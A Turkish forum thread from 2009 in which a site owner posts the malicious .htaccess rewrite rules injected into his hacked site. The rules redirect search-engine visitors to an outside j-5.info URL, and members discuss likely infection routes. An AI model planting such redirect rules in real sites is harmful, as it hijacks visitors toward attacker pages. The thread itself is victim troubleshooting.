0
Kayıt Ol

htaccess hack

9

●

1.265

  • 20-01-2009, 22:14:15
    #1
    electronicboy
    electronicboy
    Merhaba arkadaşlar,

    Bugun arkadaşlardan birinin yapmış olduğum sitenin açılmadığını söyledi. Baya bir kurcaladım fakat bir sonuç bulamadım ve aklıma .htaccess geldi. .htaccess içini açtığımda ise aşağıdaki kodlamalar bulunmaktaydı. Bir çekilde .htaccess değişmiş ve index.php dosyasının içi 5096 byte boşluk olmuş. Sitede ne açığı olabilir. .htaccess nasıl olurda değiştiriliyor?

    RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yandex.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*rambler.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ya.*$ [NC]
RewriteRule .* http://j-5.info/2/go.php?sid=2 [R,L]
  • 20-01-2009, 22:16:32
    #2
    LaCReMeL
    LaCReMeL
    ftp olabilir... ftp upload yaptigi programa dikkat etsin özellikle crackli ise
  • 20-01-2009, 22:20:58
    #3
    electronicboy
    electronicboy
    FTP programından değildir. Kendi yapmış olduğum FTP programını kullanıyorum ki önceden çalışıyordu web sayfası. Sonradan olan bir sorun bu.
  • 20-01-2009, 22:22:05
    #4
    pymd
    pymd
    Kimlik doğrulama veya yönetimden onay bekliyor.
    bende de olmuştu ftp programıyla şifreyi değiştirdim kurtuldum.
    Index dosyalarına bulaşıp iframe atıyor botlar
  • 20-01-2009, 22:26:23
    #5
    electronicboy
    electronicboy
    pymd adlı üyeden alıntı: mesajı görüntüle
    bende de olmuştu ftp programıyla şifreyi değiştirdim kurtuldum.
    Index dosyalarına bulaşıp iframe atıyor botlar
    evet onu biliyorum. iframe ve script atan iki tane var benim gördüğüm fakat bu onlardan farklı gibi. İnternette sadece bir sitede buldum bu sorunu o da fransızca Hiç bir şey anlamadım. Fransızca bilen varmıdır ki aramızda Link aşağıda.

    [Problème] Hack => modification index.php - Forums Joomla.fr
  • 20-01-2009, 22:49:08
    #6
    pymd
    pymd
    ewet aynısı
    1.virüs
    2.trojan
    3.ftp den olabilirmış yada sunucuya virüs bulaşmış olabilir deniyor.
    Ama bana kalırsa j-5.info dan geliyor
  • 20-01-2009, 22:54:34
    #7
    LaCReMeL
    LaCReMeL
    electronicboy adlı üyeden alıntı: mesajı görüntüle
    evet onu biliyorum. iframe ve script atan iki tane var benim gördüğüm fakat bu onlardan farklı gibi. İnternette sadece bir sitede buldum bu sorunu o da fransızca Hiç bir şey anlamadım. Fransızca bilen varmıdır ki aramızda Link aşağıda.
    [Problème] Hack => modification index.php - Forums Joomla.fr

    Translated version of http://forum.joomla.fr/showthread.php?t=83067

    Belki işine yarar
  • 20-01-2009, 22:56:00
    #8
    electronicboy
    electronicboy
    Teşekkürler biraz olsun rahatladım sitede açık olmasından korkmuştum. Sunucu sahibine mail attım bakalım sunucuda mı virüs var bakalım artık.
  • 21-01-2009, 02:34:17
    #9
    Seqqan
    Seqqan
    Eposta Aktivasyonu Gerekmekte
    Ftp Programlarına Bulaşan Bir Virüs Olduğunu Duymuştum... Ve Hack İle İlgili Mesajlar Yoksa Yönlenen Sayfada Reklam Varsa Kesin Virüsdür.